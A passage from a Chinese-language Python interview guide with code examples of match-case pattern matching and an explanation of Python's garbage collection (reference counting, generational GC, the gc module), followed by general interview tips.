            print(f"你好,{name}")
        case ["add", *numbers]:
            print(f"求和:{sum(int(n) for n in numbers)}")
        case _:
            print("未知命令")

handle_command("hello 张三")    # 你好,张三
handle_command("add 1 2 3")    # 求和:6

# 匹配字典结构
def process(event: dict):
    match event:
        case {"type": "click", "x": x, "y": y}:
            print(f"点击坐标:({x}, {y})")
        case {"type": "key", "key": key}:
            print(f"按键:{key}")
        case _:
            print("未知事件")

21. Python 的垃圾回收机制?

答:Python 使用引用计数为主,分代回收为辅的垃圾回收机制。

  • 引用计数:每个对象有一个计数器,引用+1,删除引用-1,归零时立即回收
  • 分代回收:解决循环引用问题。新对象在第0代,存活越久越移到老年代,老年代回收频率低
  • gc 模块:gc.collect() 手动触发回收,gc.get_count() 查看各代计数
import gc

# 查看引用计数
import sys
a = [1, 2, 3]
print(sys.getrefcount(a))  # 2(a 和 getrefcount 参数)

# 循环引用的例子
class Node:
    def __init__(self):
        self.ref = None

a = Node()
b = Node()
a.ref = b  # a → b
b.ref = a  # b → a(循环引用)
del a, b   # 引用计数不为0,但已经不可达
gc.collect()  # 分代回收能检测到并清理
面试建议
  • 理解原理:不要只背答案,要理解背后的机制
  • 举例子:每个概念都要能写出代码示例
  • 知其所以然:比如 GIL 的存在原因、为什么需要垃圾回收
  • 结合项目:把知识点和你做过的项目联系起来
  • 坦诚不会:遇到不会的问题,诚实说"这个我不太了解,但我可以谈谈相关的……"